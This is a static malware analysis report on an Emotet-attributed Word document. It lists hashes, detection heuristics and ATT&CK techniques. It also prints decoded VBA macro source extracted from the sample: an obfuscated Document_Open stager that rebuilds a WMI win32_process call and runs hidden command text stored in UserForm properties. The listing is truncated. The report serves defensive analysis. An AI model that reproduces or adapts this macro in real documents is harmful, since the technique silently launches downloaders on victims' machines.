Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 eed8aa076d2b58e5…

MALICIOUS

Office (OLE)

171.5 KB Created: 2020-07-30 00:08:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: b33321ca7a379eabeec8c050fef196f5 SHA-1: 409456bff052b4ce17e32cf6b637de9bd00dc26a SHA-256: eed8aa076d2b58e5ced3c900bcc72f67191b09fd9b11fb7be5afd3dc6e79591f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection name further supports this attribution. The VBA script is designed to execute obfuscated code, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9206438-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9206438-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5057 bytes
SHA-256: e1fb9b9b244b31b2e54309cd2b639915e8dd604d6944485cb6eeaf0828754d7e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TSTPPwyfgkerq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
VGZLMqjljpciozw.VIGEEfalvrkh
End Sub


Attribute VB_Name = "VGZLMqjljpciozw"
Attribute VB_Base = "0{D2D258A5-3C45-420A-8B77-95D704CE4866}{60F9D409-A3ED-4C2C-8EEC-C70F8A45008D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function VIGEEfalvrkh()
Dim RGEuulBI As String
RGEuulBI = Replace$("UvTejcif1ÅL", "UvTejc", "yBDJZhNWEb")
Dim CSKo As Integer
CSKo = 7
Do While CSKo < 7 + 9
CSKo = CSKo + 1: DoEvents
Loop
Dim Yto7ÇKQRXoy As Integer
Yto7ÇKQRXoy = 3
Do While Yto7ÇKQRXoy < 3 + 6
Yto7ÇKQRXoy = Yto7ÇKQRXoy + 7: DoEvents
Loop
PWJBGqufwkfssyie = Chr(VGZLMqjljpciozw.Zoom + ((40 + 40 + 40) / 8))
Dim awg3ÎQMPteq As Integer
awg3ÎQMPteq = 8
Do While awg3ÎQMPteq < 8 + 3
awg3ÎQMPteq = awg3ÎQMPteq + 9: DoEvents
Loop
EVLOWsprjglsowdim = "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjai99939nu7*9((()0hsbuguIGv22bjanm99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjagm99939nu7*9((()0hsbuguIGv22bjat99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja" + PWJBGqufwkfssyie + "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja:99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjain99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja399939nu7*9((()0hsbuguIGv22bja299939nu7*9((()0hsbuguIGv22bja_99939nu7*9((()0hsbuguIGv22bja" + VGZLMqjljpciozw.ANCUDmeuvqfelne + "99939nu7*9((()0hsbuguIGv22bjaro99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjace99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bja"
wbNZsnpFoA = 8
Do While wbNZsnpFoA < 8 + 2
wbNZsnpFoA = wbNZsnpFoA + 3: DoEvents
Loop
IHOOVkaaqpiuq = OPKRJwzueavaqiu(EVLOWsprjglsowdim)
Dim gcfKyIb4ÜjC As Integer
gcfKyIb4ÜjC = 5
Do While gcfKyIb4ÜjC < 5 + 5
gcfKyIb4ÜjC = gcfKyIb4ÜjC + 7: DoEvents
Loop
Set ZXUGCpwuyukebvkukao = CreateObject(IHOOVkaaqpiuq)
Dim lVK As String
lVK = Replace$("O7qGEsVF", "O7qG", "HfNmk2Ïy")
SAHALrnssjlke = VGZLMqjljpciozw.PETXBxqwpjvwvpxsx.ControlTipText
iiv = 7
Do While iiv < 7 + 4
iiv = iiv + 5: DoEvents
Loop
SANMSzzjcwqniyhjwnc = IJK + (IHOOVkaaqpiuq + PWJBGqufwkfssyie + VGZLMqjljpciozw.BIFXMkpyuhmndedr.ControlTipText) + SAHALrnssjlke
Dim QH4Ý As String
QH4Ý = Replace$("tBTpXheeAy", "tBTpXhe", "RRWXeuD")
MIKAXmncfotypfqtcl = SANMSzzjcwqniyhjwnc + VGZLMqjljpciozw.ANCUDmeuvqfelne
Dim SqQW3Òwd As String
SqQW3Òwd = Replace$("chaNol6ÆmYk1ÓFMeC", "chaNo", "PJy4È")
Set GNZOIvlgncewgkrbzng = MZEHRiamggfwmjyw(MIKAXmncfotypfqtcl)
Dim hipGOtD As Integer
hipGOtD = 9
Do While hipGOtD < 9 + 7
hipGOtD = hipGOtD + 9: DoEvents
Loop
cde = Array("ewwdas", ZXUGCpwuyukebvkukao. _
Create(DWRNEqdembgvehjxpbl, MNVNZivhlfyvko, GNZOIvlgncewgkrbzng), "sd")
Dim F3ÊHYfL As String
F3ÊHYfL = Replace$("e8ÝIhfUTun0ËW", "e8ÝIhfUTu", "Ce2ÖRb")
End Function
Function MZEHRiamggfwmjyw(ZQHQBghtbteewuh)
Set MZEHRiamggfwmjyw = CreateObject(ZQHQBghtbteewuh)
Dim nqVHT6ÒGOtD As String
nqVHT6ÒGOtD = Replace$("wqd7É7àZD7×wqRgQ5ÕJ", "wqd7É7àZD7×wq", "MZuEIlX")
MZEHRiamggfwmjyw.showwindow = (ZISNMvvdyduzd + VZLRWilinmpqkiwevi) + (DWBQCznrjwkeirnpfm + OFURUgxwlmhuh)
Dim KKQRX7Õ As Integer
KKQRX7Õ = 9
Do While KKQRX7Õ < 9 + 3
KKQRX7Õ = KKQRX7Õ + 6: DoEvents
Loop
End Function
Function OPKRJwzueavaqiu(ZSPMUgzjkccxbzvyfik)
WQGUDxlllrxhfkwkaqu = ZSPMUgzjkccxbzvyfik
Dim A1ålOTAY1Î As String
A1ålOTAY1Î = Replace$("eFEttRlffLUCaI", "eFEttRlf", "pLU4ÎJBQ")
CXLTXnppvhklyxgwy = Split _
(WQGUDxlllrxhfkwkaqu, "99939nu7*9((()0hsbuguIGv22bja")
gDkuq = 4
Do While gDkuq < 4 + 4
gDkuq = gDkuq + 8: DoEvents
Loop
DDFBDycknqbcfj = fder + Join(CXLTXnppvhklyxgwy, bzder)
Di
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.